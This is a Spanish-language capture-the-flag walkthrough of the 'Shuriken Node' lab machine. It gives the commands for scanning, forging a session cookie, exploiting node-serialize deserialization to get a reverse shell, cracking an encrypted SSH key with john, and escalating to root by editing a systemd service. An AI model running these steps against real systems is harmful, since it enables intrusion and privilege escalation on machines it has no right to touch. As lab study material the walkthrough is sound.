![]() |
|
| Máquina: Shuriken Node | |
| SO: Linux | |
| Dificultad: Easy | |
| Descarga |

1. Escaneo de dispositivos en la red.
sudo arp-scan -l

2. Reviso los puertos abiertos y servicios disponibles en los puertos.
sudo nmap -p- --open -sCV -T5 --min-rate=5000 192.168.1.9 -Pn -n

3. Revisando la Web que corre por el 8080.
http://192.168.1.127:8080

4. haciendo fuzzing encuentro directorios, pero no nos permite visualizarlos.
gobuster dir -u http://192.168.1.9:8080/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,js -q

5. Copio mi cookie de session para ver su valor.

6. Voy a Cyberchef para tratar la data.

7. Reemplazo la cookie y actualizo la pagina, me convierto en administrador.

- Veo que lo unico que cambia es el usuario asi que mucho no se puede hacer.
8. Ingreso data al azar en la cookie y al recargarla veo que deserializa.

9. La forma de explotar lo tenemos a detalle en esta pagina opsecx.
9.1- Instalo el modulo necesario; la esta funcion nos devuelve una cadena serializada, esto lo guardo en un archivo
npm install node-serialize
node serialize.js

9.1- Descargo esta herramienta nodejsshell para generar una reverse shell codificado
wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py -q
9.2- Al ejecutar me da errores, tenemos que modificar un poco el codigo
python3 nodejsshell.py 192.168.1.9 443
- En todos los print le agregamos parentesis, ‘print (“ejemplo”)’

- Copiamos el payload generado

- Modificamos la cadena serializada para agregar nuestro payload y lo pasamos a base64

10. Me pongo en escucha y pego el base64 en la cookie ; si recargamos la pagina obtendremos el acceso.
sudo nc -nlvp 443

11. Tratamiento de la tty.
script /dev/null -c bash
ctrl+z
stty raw -echo;fg
reset xterm
export TERM=xterm SHELL=/bin/bash

12. Tenemos 3 usuarios disponibles en el sistema.
cat /etc/passwd | grep bash

13. Encontre un backup de ssh que contiene una clave privada encriptada.
cd /var/backups
ls -l
cp ssh-backup.zip /tmp
cd /tmp
unzip ssh-backup.zip
cat id_rsa

14. Rompiendo la id_rsa encriptada.
14.1- Guardo en un fichero el contenido del id_rsa
nano key

14.1- Generamos el passphrase con john
ssh2john key> pass
john --wordlist=/usr/share/wordlists/rockyou.txt pass

15. Nos conectamos por ssh con el usuario serv-adm.
ssh -id id_rsa serv-adm@192.168.1.9

16. Puedo ejecutar el binario systemctl como root ,ademas puedo controlar unos servicios.
sudo -l
locate shuriken-auto.timer
cat /etc/systemd/system/shuriken-auto.timer

- Reviso este otro servicio, veo que ejecuta un binario
locate shuriken-job.service
cat /etc/systemd/sytem/shuriken-job.service

17. Escalada de privilegios.
nano
nano /etc/systemd/system/shuriken-job.service
sudo /bin/systemctl stop shuriken-auto.timer
sudo /bin/systemctl start shuriken-auto.timer


